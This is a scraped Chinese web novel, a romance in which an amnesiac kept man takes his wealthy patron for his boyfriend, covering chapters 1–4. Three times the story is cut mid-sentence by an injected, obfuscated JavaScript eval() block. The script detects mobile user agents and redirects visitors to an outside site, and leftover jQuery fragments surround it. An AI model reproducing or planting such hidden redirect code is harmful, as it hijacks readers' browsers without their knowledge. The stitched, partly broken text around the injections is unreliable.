《这替身老子不当了》 1. 男人怎么生孩子? 十二月天已经越来越冷了。 刚在外面疯玩了一圈的沈辞,此时正躺在床上缩成一团,被子盖住脸上只露出一双眼睛。 他竖起耳朵认真听外面的动静。 管家在打电话,隔音效果太好导致他只听清了几个字。 所以傅砚观到底回不回来? 沈辞在床上滚来滚去,用被子成功给自己裹成了蚕宝宝,脚趾有些冰凉,入了冬的天对于体寒的人来说实在是难熬。 不知过了多久,房间外传来脚步声,紧接着房门被推开,一股寒气趁机钻进来。 沈辞把自己捂的更紧,制止了男人的脚步。 “太冷了,往后退!” 对方闻言面不改色的脱掉了身上的外套,然后走到床边。 沈辞略有些心虚,从被子里伸出小手,道:“我的草莓蛋糕呢?你说好给我带的。” 沈辞话音刚落,站在床前的男人就一把掀了沈辞裹着的被子,目光上下扫了一圈,最后落在肚子上。 “张叔给我打电话说你怀孕了,让我尽快回来。沈辞...”傅砚观眉尖一跳,声音分辨不出喜怒,“你能怀孕?生一个给我看看。” 沈辞怕冷,被子被拽走后就打了个哆嗦,他扯不过傅砚观,只能缩成一团,再开口时,声调就带着几分委屈了:“不这么说你会回来吗?” “所以你就拿怀孕当借口,我这么像傻子?” 傅砚观将被子重新盖到沈辞身上,直接连人带被一起抱到怀里,解释起来:“我刚出差回来,这几天住公司也是因为工作...” “工作就可以忽略男朋友吗?!” 沈辞开口打断,而男朋友三个字则是让傅砚观愣了好一会儿。 沈辞这边还在喋喋不休,傅砚观却有些走神。 事情还要从半个月前说起,沈辞和傅砚观是包养关系,一个负责给钱,一个负责在家里当金丝雀。 两人就这样相处了六年,这六年沈辞安分守己,该上学时上学,放假了就到别墅做个乖巧的金丝雀,毕业了更是直接留在这照顾傅砚观的衣食住行。 虽然傅砚观不怎么回来。 而就在半个月前沈辞生日那天发生了意外,不知什么原因,沈辞竟从楼梯上滚下来磕到了头,没什么大事,但是却丢失了一段记忆,而这记忆正是他和傅砚观所有的回忆。 沈辞误以为自己是傅砚观的男朋友,傅砚观也不知出于什么并没有否认。 所以之后两人开始以一个极其莫名其妙的关系开始相处。 “你到底有没有在听我说话?!” 沈辞说了半天,嘴都说干了也没见傅砚观哄他或者道歉,本来就有点生气的人这下更生气了。 他挣扎着想从傅砚观怀里逃走,可是对方的怀抱又太温暖了,让他又舍不得离开,挣扎了两下见傅砚观没有阻止他的意思,又别扭的坐了回去。 但还是不甘心的说了句:“你再这样,我就跟你分手!” 傅砚观抬眼:“我是不是太惯着你了?” 哎呦?恐吓男朋友! 沈辞这下彻底炸毛了,光着脚就要往楼下跑,开口说话时也是委屈极了。 “你怎么惯着我了,这几天我都想了,咱家一张咱们俩的合照都没有,我的东西也很少,就连衣柜里的衣服都不是我喜欢的类型,傅砚观,你是不是根本就不喜欢我!” 沈辞的质问倒是合理,傅砚观一时没说上来话,他的目光在沈辞光着的脚上停留,等沈辞气的跑出去后无奈的拿着鞋追上去。 张叔正在楼下整理傅砚观带回来的东西,见到沈辞下来,笑着唤了声沈少爷。 “少爷带了您喜欢的草莓,还有很多礼物,您快过来看看。” 听到草莓,沈辞喉咙上下滑动了几次,而后别扭的走过去,哼了声,仍是不解气的道:“我要的是草莓蛋糕。” 张叔看了眼傅砚观,默默的退到后面。 傅砚观放下拖鞋,将沙发上的薄毯丢给沈辞,开口哄人:“回来的时候没有草莓蛋糕了,明天给你买,或者让甜品师来家里做,这几天我是真的忙,但我没想到你会这么在意我回不回来。” “我当然在意啊!”沈辞用力揪掉草莓尾巴,丢进嘴里,嚼到一半长叹了口气,“傅砚观,你是我男朋友,你如果每天都不回家,我会认为你不喜欢我的。” 窗外开始飘起雪花,张叔按照傅砚观的意思去准备火锅。刚跟傅砚观吵完架的人依旧吃了两大盘肥牛卷,吃饱喝足后窝在沙发上看电视。 张叔收拾完餐桌就离开了,这栋别墅原先没有外人,若是硬说也就只有沈辞一个外人。 要不是前段时间沈辞莫名其妙磕坏了脑袋,傅砚观也不会从老宅临时调个人过来。 “傅砚观,我冷。” 有时客厅大了总会显得冷清,沈辞用脚去够沙发扶手上的毯子,试了几次都没碰到后就开始喊人。 傅砚观换了身家居服,端着草莓从厨房出来,手上还挂着洗草莓的水珠。 看着躺在沙发上四仰八叉的沈辞,忍不住说教:“吃饱了就不能动一动吗?” “不要。”沈辞痛快拒绝,伸手去够茶几上的草莓,惬意的看着电视。 傅砚观向来不爱追剧,但也没离开,而是破天荒的坐到沙发上陪着沈辞一起。 人吃饱了总会犯困,沈辞盯着电视没多一会儿眼皮就开始发沉,他摸索到傅砚观的手,指尖有意无意的摸着对方手腕上的那串佛珠。 不知这几天沈辞是不是熬夜了,竟然还没来得及跟傅砚观说句话就睡着了,而刚出差回来的总裁也略有些疲惫的按了按眉心。 手腕上的佛珠被傅砚观小心的摘下,一向宝贝的不行的东西就这么由沈辞握着。 张叔去而复返,见沈辞睡着,压低声音道:“您这些日子也累了,我放好热水了,去泡个热水澡吧,沈少爷他...” “家里都铺上地毯。” “啊?” 如此没头没尾的一句话让张叔愣了好一会儿才明白过来,沈辞总是喜欢光脚走路,前两天从楼上跑下来的时候还划伤了脚。 虽然没人说,但显然傅砚观自己发现了。 张叔张了张嘴,忍不住问了句:“您和沈少爷?” 他是被临时叫过来的,傅砚观在外面有房子这不稀奇,但房子里还养着其他人这就稀奇了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761679|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 张叔在傅家几十年,算是看着傅砚观长大的,自己家少爷什么脾性他自然是了解,正因为了解才觉得不可思议。 富家少爷包养小情儿玩是再正常不过的事了,但是这件事和傅砚观实在挂不上钩。 傅砚观似乎不太想说沈辞的事,只是不知是什么原因,还是开口解释了一句:“他不是说了吗,男朋友。” 张叔没觉得稀奇,反倒顺嘴问了句:“夫人前些天还说您该成家了,什么时候带回去让她瞧瞧?” 傅砚观神色淡淡:“再说吧。” 打发走张叔,傅砚观盯着沈辞看了一会儿,睡着的人才算是安静下来,那张小脸白白嫩嫩的,想刚做好的豆腐,想让人捏捏。 心里这么想,手上也这么做了,傅砚观伸手戳了两下,等反应过来时不由得笑出声。 “好像是胖了点。” 沈辞以前瘦的不像样,不管吃什么都吃不胖,傅砚观还羡慕过这种体质,更对沈辞纤细的腰肢爱不释手。 而他从来没想过,沈辞可能根本就没有什么吃不胖体质,只是为了迎合傅砚观而刻意为之。 失忆后从医院出来,每天有人伺候,各种好吃的全部送过来,几天下来,沈辞的脸就圆了一圈。 “傅砚观,太冷了...” 没睡安稳的沈辞又把自己缩成一团,嘴里念叨着傅砚观的名字。 那一瞬间,傅砚观在想,有几次深夜回来他都撞见沈辞在客厅等他,小家伙在见到他的第一面就会扬起笑脸,走到玄关处给他拿拖鞋。 他很喜欢那种感觉,也有些享受。 可是他没回来的那些夜晚呢? 沈辞是不是就像现在这样,在沙发上一个人睡着,缩成一团,嘴里喊着自己的名字。 傅砚观无奈的叹了口气,这还是他头一次想这么多,而想到最后还给自己想心疼了。 隔着毯子将沈辞抱回房间,见人没有要醒的征兆后就进了浴室。 而沈辞到真的一觉睡到了天亮,身旁的位置早已冰凉,也不知道昨晚傅砚观有没有睡在这。 好不容易人回来了,结果他竟然就这样睡了一晚上。想到这,沈辞不免有些后悔,大早上的更是越来越心烦。 他摸出手机,噼里啪啦给傅砚观打了一堆字,最后又赌气的全删掉,只剩下一句话。 沈辞:以后七点前你要是不回来,就都不要回来了! 消息没有秒回,沈辞气呼呼的洗漱,等到吃早餐时,手里才响了一声。沈辞嘴上骂得很,身体却很诚实,立刻就去抓手机来看。 结果发消息的根本就不是傅砚观。 几条消息接连弹出来,沈辞有些失落的点开。发消息的是他大学同学张呈山,约沈辞晚上到酒吧聚一聚,说是来参加的都是大学的几个好友,还特意给沈辞这个曾经社恐,后来深居简出的人标注了一下没有乱七八糟的人。 并表示他们真的很想聚聚。 被傅砚观搞的心情烦躁的沈辞盯着消息看了许久,最后果断答应了。 凭什么傅砚观哪都去,而他就要在家里闷着?!他不仅要出去,还要作天作地,把天捅个窟窿让傅砚观来补。 2. 不是七点回家吗? 约沈辞的张呈山家里条件不错,算是个富二代,他自掏腰包搞的聚会自然会选择最好的酒吧。 沈辞按照张呈山发的位置找过去,刚进酒吧就吸引了一堆目光。 他长得好看,虽然已经24岁了,但白白嫩嫩的还像个刚上大学的人,尤其是身上配着的衣服。 衣柜里的那些衣服都是衬衫西装,要不就是运动服,沈辞一件都不喜欢,心里埋怨傅砚观的同时把衣柜里的衣服都丢了出来。 最后勉强找了件还算能入眼的红色衬衫。 张呈山发现沈辞时差点没敢认,在喧闹的环境里他挤过人群到沈辞身边,拉着人往卡座方向走。 虽然毕业有段时间了,但到底是关系最好的朋友,张呈山熟络的搂着沈辞肩膀,笑着打趣:“几日不见当刮目相看啊,你现在这穿搭可以呀!” 上学时沈辞几乎每天都是白色短袖配牛仔裤,要多朴素就有多朴素,要不是这张脸好看,扔到人堆里都没人注意。 沈辞没再像以往一样笑笑不说话,而是挨个打了招呼后拍开张呈山,扯了两下身上的衣服:“这身我也不是很喜欢,太素了。” 张呈山:“嗯?素?大哥,你管这叫素啊,你要不要看看你穿的有多妖艳?” 沈辞大方的由着张呈山打量,歪靠在桌子上,顺手接过另一个同学递过来的酒。 而张呈山则像是见了鬼一样。 “沈辞你还打了耳钉啊?你这毕业之后是受了什么刺激?怎么变化这么大?还有你这一身可不便宜,发横财了?你可别干什么违法乱纪的事啊!” 沈辞翻了个白眼:“滚。” 被沈辞骂了句后,张呈山笑的更欢了,用手肘怼了怼刚才给沈辞酒的赵阳:“你辞哥会骂人了。” 赵阳搭着张呈山肩膀,随口道:“辞哥这身得两三万吧,这衣服好像还是今年新款。” 话说完赵阳沉默片刻,道:“真发横财了?带带哥们啊!” “发什么横财...”沈辞低头看着自己身上的衣服,眉头皱了起来。 他和傅砚观在一起六年,但是他好像一直没有工作,都是傅砚观在养着他... 所以傅砚观现在对他不冷不淡,是因为腻了吗?不愿意给他花钱了? 早上发出去的消息到现在也没有回复,沈辞有些失落,一旁的赵阳和张呈山发现连忙一人一边架着沈辞胳膊怂恿道:“去跳个舞吧。” “就是,穿这么妖艳不去散发魅力多可惜啊。” 原以为沈辞会拒绝,却没想到竟然格外的顺利。 沈辞没怎么跳过舞,也不经常来这种地方,但在高燃的音乐中,身体下意识的跟着动起来。 酒吧里什么人都有,甚至还有外国人,金发碧眼的美女围绕着沈辞,火辣的身材时不时就蹭蹭沈辞来个身体接触。 沈辞也放的开,美女伸手过来,他就自然牵住,共舞后再大方的放手。 一个穿着露脐装的女生被沈辞吸引,舞池中有很多人,但沈辞就像是一只红色的蝴蝶,跳起舞来格外的轻盈,不算熟练的动作更加加深了他的魅力,变的很勾引人。 女生松开一旁的男人朝着沈辞走去,熟练的搭话,并邀请沈辞共舞,而才刚刚牵住手,一个拳头就先过来了。 沈辞不察,被打在嘴角,瞬间就青了一块。 “你有病吧!”沈辞抬手碰了下嘴角,疼的皱起眉,看向对方时才认出这人竟然是个老熟人。 张呈山和赵阳也注意到了突发的情况,连忙到沈辞身边,看见那人的面孔后火比沈辞还大:“张奇,你脑子有毛病吧?在学校欺负沈辞,现在毕业了你还找事,想挨揍就直说!” 被称为张奇的哼了声,拳头捏的咯咯作响,冷脸道:“他先抢我马子,在学校就抢风头,出来还跟我过不去,沈辞你他妈是克我吧!” 引起这场风波的女生往后退了两步,脸色尤为难看。 几人的争执影响了跳舞,音乐声逐渐小了下来,不少人盯着这里看热闹。 沈辞不停的用舌尖舔着嘴角,刚才的兴致被一扫而空,他见女生越发的尴尬,开口道:“谁规定这位女士就只能和你跳舞了?张奇,你最好把嘴放干净点。” 沈辞虽然前段时间磕坏了脑袋,但也只是少了傅砚观的记忆,对于张奇他还是记着的。 累积的恩怨再加上今天,沈辞到底是没忍住,在对方又一次开口让那女生难堪时直接冲过去动了手。 而男人都是冲动的动物,一个动手,身旁的朋友也都控制不住,七八个人扭打在一起。引起这件事的女生趁着混乱直接消失在了舞池。 几人越打越凶,不知是谁报了警,等到警察来后,这场闹剧才在警笛声中停了下来。 - 祈江市公安局。 “姓名。” “沈辞...” “年龄。” “...24。” 一场闹剧在进了公安局后算是彻底结束了,几人也没了打架时的血气方刚,各个都跟霜打的茄子一样跟着警察做笔录。 由于这场打架都参与了,所以几个人同罪,都被教育批评了一番才被放走。 幸亏几个人都是认识的并且之前是同学,才没上升到打架斗殴的高度。 出了警局,沈辞打了个哆嗦,出来的时候为了拉风连个外套都没拿,现在才起了后悔的心思。 张奇等人也被揍的鼻青脸肿,朝着沈辞吐了口唾沫,本想再放几句狠话,但对警局还有些忌惮,最后只能灰溜溜的走了。 “辞哥,这附近新开了一家洗浴不错,咱去放松放松啊?” 赵阳和张呈山也都挂了彩,没啥心思再去浪了,比起灯红酒绿的地方,此时更想去按个摩放松一下。 但沈辞却迟迟未动。 他盯着警局门口的那辆黑色卡宴,心情有些复杂。 “你们去吧,我不去了。” 还没等赵阳和张呈山反应过来,沈辞就已经朝着警局门口跑去了。 傅砚观一身黑色风衣,随意的靠着车头,手里夹着根烟,只燃着却没抽。 沈辞停在离傅砚观三步远的地方,只穿着单衣单裤的人被冻的瑟瑟发抖,鼻尖泛红,鼻腔内也跟着酸涩起来,也不知道是冻的还是委 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761680|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屈的。 “傅砚观...” 沈辞闷声叫了句对方,下一秒就传来一声轻微的叹息。 傅砚观将烟在车头上按灭,走到沈辞身前将身上的大衣脱下来给他,又从车里翻找出唯一一个可以保暖的围巾。 深灰色大衣上还沾着傅砚观身上的味道,沈辞抓着衣服并没有穿,直到傅砚观拎着围巾过来。 “大冬天得在这扮演白雪公主呢?家里那么多衣服,你就穿件单衣出来了?” 刚打了场架还进了警局,没被安慰反而被训了,这让沈辞更加烦闷,尤其是面前说教他的人一整天都没有回他的消息。 明明是自己有错,但沈辞嘴就跟抹了毒一样,说出的话句句带刺。 “家里的衣服没有一件是我喜欢的,整整两个衣柜,我找不到一件我喜欢的衣服。” “傅砚观,我虽然不记得之前的事情了,但我也大致知道,这几年应该一直都是你在给我花钱,所以你是不是觉得腻了,觉得不值得。” 沈辞越说越委屈,他看见傅砚观皱起眉,便觉得自己一定都猜对了。 不知是不是他抖的太厉害,傅砚观没有理他的那些话,而是亲自上前给他穿衣服,又仔细的围好围巾。 就在这时,还没走的张呈山和赵阳走过来,疑惑的看了眼傅砚观又瞄了眼车牌。 “辞哥,这位是?” 二人脸上的警惕不难看出,傅砚观没有先开口,而是看向沈辞,等了半天见人没有说话介绍的打算后礼貌的点头示意。 “傅砚观,沈辞的...” “男朋友。”沈辞伸手握住傅砚观的手,接过话茬介绍道,“这是我男朋友,谈了六年,宴和游戏传媒董事长。” 介绍完傅砚观,沈辞又给傅砚观介绍赵阳二人。 “张呈山,赵阳,我大学同学,也是我在学校时的室友。” 几人视线短暂交锋,都有些莫名的尴尬,谁也不知道该说点什么,最后干脆直接散了。 回家的路上,沈辞坐在副驾驶上,低头捏着衣服上的纽扣,闷头不语。 傅砚观目不斜视的开车,终是忍不住开口训人:“去酒吧打群架,还折腾到警局,沈辞你多大了?” “三岁小孩儿都开始讲道理了,你还只会用拳头说话吗?” “跟无赖有什么道理可讲!”沈辞抬头,反驳道,“跟我打架的那个人在学校就总是欺负我,这次也是他先打我的,你为什么要向着外人?难道不应该先问问我受伤了没有吗?” 路中间的红灯亮起,傅砚观踩下刹车,趁着这个空挡看向沈辞,他没有再追问沈辞为什么打架,而是说了句别的。 “不是你说七点要回家吗?你自己都不遵守,只要求我?” 傅砚观语气很平淡,好像就是在问你吃饭了没有。 而就是这一句话,让沈辞情绪直接爆发。 “你看见消息了,为什么不回我?我就是只要求你,但是你会遵守吗?!你工作忙,你要出差,但到底是真的忙,还是你不愿意回家看见我?” “傅砚观,你到底是什么意思啊?!” 3. 我会疼的 沈辞情绪上来吼了一通,可傅砚观却依旧神色淡淡,前方红灯亮起,面前的男人收回视线启动车子。 那一瞬间沈辞只剩无力的挫败感。 感受不到爱的花朵会枯萎的吧。 车子开进别墅,沈辞下车后就径直往屋子里走,余光瞥见傅砚观打开后车座的门在拿什么东西,定睛一看,竟然是一大盒草莓和一份精致的草莓蛋糕。 心又软了下来。 沈辞停住脚步,他想,是不是曾经他和傅砚观就是这样生活的,这人就是这样的性格,是他突然磕坏了脑袋所以变得无理取闹。 两人一起进了前厅,沈辞看着傅砚观把蛋糕放到茶几上,正想开口对方却先他一步。 “沈辞,咱们谈谈。” 谈什么?责怪他今天打架惹事,还进了警局吗。 沈辞走过去,正想绝不服软就见对方拿出医药箱,下一秒沾着药水的棉球就按在了脸上。 “嘶!”沈辞吃痛,忍不住向后躲了几分,被傅砚观抓回来继续擦药。 “你轻点,疼死了!” 沈辞抱怨完,对方似乎确实收了几分力,但对于已经肿起来的脸颊效果微乎其微。 该疼还是会疼。 傅砚观好像很无奈,擦过药后就转身离开了,再回来时拿着睡衣递给沈辞。 “楼上放了热水,你先泡个澡吧。” “傅砚观...” “沈辞,我没有说是不想要看见你的意思,但那条消息我确实是看见了,没有回复是我的问题,我向你道歉,至于回家的这个问题,我确实很忙,希望你理解一下。” 好正式的回答,好...疏远的解释。 沈辞皱了皱眉,突然起身抓住傅砚观衣领,怒瞪着面前的人:“你这是领导通知下属吗?!我不想理解,作为情侣,我认为既然看见对方发的消息就需要回复,任何忙都是借口,而关于回家,你如果还把这当家就不应该夜不归宿。” “傅砚观,我不知道之前是怎么跟你相处的,但是现在你如果还想跟我在一起这些问题就是要重视起来。如果我一直都是一个人,那还要什么男朋友。” 沈辞不知道傅砚观听进去没有,只知道这人看着他的目光格外的炽热,那双黑白分明的眼睛仿佛要把他吸进去一样。 傅砚观喉结上下滚动,目光从沈辞的眼睛慢慢移动到嘴唇上。 三十岁的男人事业有成,也格外冲动。 傅砚观对沈辞有冲动。 “做吗?” “嗯?” 沈辞皱眉,他不理解事情怎么就偏到了这个地步,上一秒还在吵架,下一秒就拐到这个话题上了。 难道董事长的脑回路都比别人快? 沈辞还没来得及答应,就已经被抱了起来,然后就稀里糊涂的出现在了卧室床上。 月光透过窗户照进来,但屋子里还是黑漆漆的一片,沈辞趁着傅砚观吻他的空档开口道:“开个灯,太黑了。” “你不是不喜欢开灯吗?” 这是沈辞出事后两人的第一次,以往沈辞会先一步把灯关了,然后在床上由着傅砚观摆弄。 久而久之,傅砚观便认为沈辞不喜欢亮光,但现在看来好像并非那么回事。 “这么黑我都看不见你有什么意思啊。” 这算是头一次两人亮着灯继续,所带来的感觉与以往都不一样。 事后,傅砚观照常起身,捏了下沈辞脚踝道:“去洗澡吧。” 刚哭过一场的人不太想说话,露出双眼睛偷瞄傅砚观。 不好意思是一方面,还有一方面则是疼的。 太他妈疼了!好像要把他劈开了一样。 见沈辞迟迟未动,傅砚观又催促了一遍:“不清理会发烧,动作快点。” 沈辞沙哑着声音开口:“傅砚观你还是人吗?” “我腿软的走路估计都哆嗦,你让我自己去?我都疼死了!你这个人...怎么这样啊...” 沈辞越说越委屈,声音都带了哭腔。傅砚观错愕,想出去抽根烟的心淡了,反倒有些束手无策。 “很疼吗?” 沈辞以前从来没说过疼。 “我都抖成那样了你看不见吗?” 傅砚观愣了下,没有言语。 原来发抖是疼的,所以沈辞每次都是疼哭的... “你抱我去清理,我真的很疼,没有骗你...不然我就不去了。” 沈辞伸出胳膊求抱,傅砚观也没有拒绝,小心翼翼的抱着人进了浴室,然后在清理的过程中快要成小哭包的人又哭了一场。 第一次弄这些的董事长有些束手无策,从浴室出来后整张脸都是黑的,他在气过去的自己。 还记得之前有一次,沈辞一个人去浴室弄出过很大的动静,他过去敲门,沈辞慌慌张张的说没事,是不小心把东西弄掉了。 而他还真的信了。 可是那天之后,沈辞明显走路有些别扭,坐椅子的时候也有些犹豫。显然是在浴室疼的摔了。 而他...竟然什么都不知道。 裹上暖和的羽绒被时,沈辞就收起了眼泪,他看着怔怔出神的傅砚观,伸手拉了他一下。 “你在想什么?是...不愿意帮我弄吗?” “不是。”回过神的人握住沈辞扯他衣服的手,道,“只是在想不应该弄疼你。” “沈辞,我今天没有怪你打架的意思,是觉得那么多人,如果其中有人动了刀会很危险,我担心你。” “凡事都有更好的解决办法,有时候分析一下,选择对自己最有利的。比如你回家告诉我,我去帮你收拾。既然我是你男朋友,那作为男朋友是不是应该有知情权?” 沈辞又往被子里缩了缩,从偷瞄变成正大光明的盯着傅砚观看。 这个男人总是这样,不管是什么事都能用这种开会的语气讲出来,还偏偏格外有魅力。 藏在心里的不愉快消失了些。 沈辞突然朝着傅砚观勾了勾手指,等人如他的意凑过来后,立刻抬起头在对方嘴唇上啄了一口。 瞧见傅砚观眼睛微微睁大。 沈辞笑意更浓:“奖励你的。” “那...谢谢你的奖励。” 两人平躺在床上,沈辞累的厉害没多一会儿就生了困意,而傅砚观更是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761681|145568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说忙不是假的。 公司新开发了一款游戏,眼看着就要发布,可是最核心的数据却出了问题,前几天的出差也是因为这个。 不光是他,公司里其他的项目组长也都在加班,他身为董事长更应该以身作则。 但这些,他好像确实没跟沈辞说过。 趁着人还没睡着,傅砚观把缩成一团的人搂过来,捏了捏脸颊,轻声道:“我回来晚真的是因为公司的事情,没有不想看见你。” 沈辞困的迷迷糊糊的,随便点了点头,然后一头扎进傅砚观怀里,但临睡前还是回了人一句。 “知道了,下次记得提前报备...” 话没说完就传来了均匀的呼吸声。 傅砚观笑笑,一身的疲惫感减轻了不少,他把人揉进怀里,又仔细的裹好被子,确定某个怕冷的人盖严实后才放心入睡。 而第二天一早,等到沈辞醒的时候果然又没看见傅砚观,只不过这次手机上有了一条属于傅砚观的消息。 傅砚观:去公司了,多睡会儿,如果有力气可以来公司找我。 去公司哎! 沈辞眼睛亮了一下,从床上弹起来快速的换衣服,昨天虽然闹的狠,但此时兴奋完全掩盖了疼痛。 他好像还没去过傅砚观的公司呢。 傅砚观工作的时候是什么样?他作为董事长的男朋友去公司是不是很有面子? 一定很爽! 沈辞翻找着衣柜,像模像样的拿出一身正装,对着镜子照了照确认都很帅后就准备出门,只是刚走了两步,他就又退了回来。 左边嘴角比昨天更青更肿了,在脸上十分突兀,想忽视都忽视不了。 瞬间想出去的心就淡了下来。 他长得这么好看,怎么能这种样子出去呢。 有些失望的人脱了西装外套,拿出手机回了个“不”字过去。 在脸上的伤好之前都不要出门了! 肚子咕噜噜的叫了几声,沈辞下楼觅食,看见张叔正在厨房忙活,神色恹恹的打了招呼后垂头丧气的坐到沙发上。 张叔注意到沈辞,把早饭端到桌子上,问道:“怎么闷闷不乐的?和少爷闹别扭了?” “我是看着少爷长大的,他这个人呢之前一股冲劲,这些年在商场上磨炼的更加成熟了,就是凡事都喜欢跟人讲道理,可是人品绝对没话说。” 沈辞扯了个抱枕靠着:“我知道他人不错,我也没跟他闹别扭。” 看着帮他摆好碗筷的张叔,沈辞突然问道:“您从小看着傅砚观长大,那是不是他什么事您都知道,能给我讲讲我们之前是怎么相处的吗?我这脑子摔坏了,什么都没忘,偏偏把他给忘了。” 这倒是难为张叔了,沈辞见对方的神色有些不正常,耐心等了一会儿,才听张叔说道。 “沈少爷,我之前没见过您,所以您和少爷之间的事我不知道,也是这次您受伤少爷才让我暂时从老宅过来,咱们也才刚刚认识。” 沈辞愣住,开口道:“所以,你的意思是我和傅砚观在一起六年,可他的父母都还不知道有我的存在。” “傅砚观从来没带我回过家?” 4. 飙车受伤 张叔的安慰没有起任何作用,沈辞一头扎在沙发上,闭着眼睛躺了许久。不知是不是太在乎傅砚观了,导致整个脑子都是张叔的那几句话。 在一起六年,傅砚观的父母却都不知道他的存在,这是个什么性质... 是傅砚观只是跟他玩玩儿,还是傅砚观根本没把他当回事? 沈辞烦躁的抓了抓头,张叔收拾好一切后就离开了,整个别墅只剩下沈辞一个人。 用空荡荡来形容都不为过了。 他好像并不是傅砚观的男朋友,而是他找来看房子的。 烦躁之下就急需一个发泄的地方,沈辞翻出口罩和大衣,在张叔走后没多久也出了门。 - 城北世纪赛车场。 赵阳抓着头盔扔给沈辞,几次张嘴,都不知道应不应该开口。最后还是沈辞看出来,不冷不淡的道:“想说什么就说。” 赵阳顺着这话道:“我就是觉得太奇怪了,你可是沈辞啊,我实在把你和这些极限运动联系不到一起。” “辞哥,你老实跟我说,你是不是经历了什么重大事件?你今天这身衣服也很贵,你是去抢银行了,还是...还是昨天的那个人,傅什么的...” “别跟我提他!”沈辞被冷风一吹原本冷静几分的人在听见傅这个字后,那股气又涌上来了。他抓着头盔随便戴在头上,然后骑上赵阳的摩托。 “我跑一圈。” 沈辞没怎么骑过这种车,没上大学前是舅舅舅妈养他长大,恨不得一分钱掰成两半花,哪有什么闲钱碰这些娱乐的东西,而上大学后... 上大学后... 沈辞晃了晃头,有些恍惚,他为什么不记得大学的花销是从哪来的了?还是舅舅舅妈给的吗? 为什么他完全没有印象? 前两天刚下过雪,车场这几天都是封闭状态,如果不是赵阳这个VIP客户,老板是不会给开门的。 场地内有许多地面上的积雪还没有清理,在放赵阳他们进来时也特意交代了在内圈骑过过瘾就好,但这些话赵阳都还没来得及跟沈辞说。 摩托车这种东西和电瓶车不一样,沈辞又是第一次骑,他被心情左右,几乎越骑越快,赛道上只剩下人的残影。 赵阳在后面干着急,几次挥手都没把人拦下来。 沈辞满脑袋傅砚观,一个走神在过弯道时发生了意外。 车轮朝着一侧滑去时沈辞还没来得及反应,下一秒人就已经摔出去了。 由于速度太快,沈辞连滚了好几圈,中间被车场的护栏拦了一下才堪堪停住。而停下来后疼痛才从四肢百骸渗透过了,让他惨叫出声。 “辞哥!” 赵阳惊出了一身冷汗,跑到沈辞身边时连说话的声音都是哆嗦的,好在他常年骑车,有不少应急经验,但即便确定沈辞没什么大事,也还是打了120。 去往医院的路上又给张呈山打了电话。 接到电话时,张呈山正在度假山庄按摩,听到沈辞出事连衣服都没来得及扣好就跑去了医院。 然后看见人后,立刻劈头盖脸的一顿骂。 “你他妈的,就你这细胳膊细腿还去骑摩托呢?大学时文文静静的,怎么现在放飞自我了?” 一旁的赵阳努力缩小自己的范围,但还是被张呈山一把抓过来,照样训了一顿。 “第一次碰车就上赛道!你们两个耳朵中间长的是猪头肉吗?!他不明白,你骑了七八年也不明白?!” 张呈山骂了一顿,心口的气出了后才逐渐冷静下来,也不怪他发火,沈辞在大学时几乎就是很好欺负的一个人。 什么都不争不抢,还乐于助人,就是那种你欺负他一顿后,但他也不会告状的人。 所以大学这四年,要不是有张呈山和赵阳,沈辞还不知道要受多少委屈。 赵阳被骂了后依旧心虚,狗腿的给张呈山搬来椅子,又给沈辞倒了杯水,苦口婆心的劝道:“辞哥,真的太危险了,你都不知道你速度有多快,摩托车这种东西看着挺寻常的,可其实很危险,有多少人飞出去之后直接摔死了。” “你下次还是别再碰了,怪危险的。” 经历这么一遭,尤其是腿还疼着,沈辞也有些后怕,脸色到现在都是惨白的,他知道自己在完全不懂的情况下乱骑一通是很危险的。 但是即便这样,也还是在过程中品出了摩托车有趣的地方。 “也...没有那么严重,我下次注意,今天完全是意外...” 张呈山气的咬牙:“你有几条命够发生这种意外?” 沈辞闭了嘴。 虽然没什么大事,但医院的医生还是建议今晚先留院观察,张呈山和赵阳已经准备陪床了,结果沈辞却并不打算住院。 最后拗不过这个又倔又犟的人后,只能由两人开车送沈辞回家。 - “嚯!辞哥,你这...这么大的别墅啊,你家这么有钱,怎么上学的时候那么节省啊,我们还以为你家很穷呢。” 沈辞一瘸一拐的下车,随意瞥了眼面前的别墅,也没什么虚荣心介绍一番,只随口道:“傅砚观的。” 赵阳震惊:“他这么有钱啊?哪号人物啊?这名字是有点熟悉,但一时还想不起来。” 张呈山将一直拎着的药递给沈辞,然后道:“沈辞,我没有别的意思,就是...你和你的那个男朋友...是正经认识的吗?他开几百万的车,住几千万的房子,你们之间...” “我也不是说你配不上他的意思,只是我怕你被骗。” 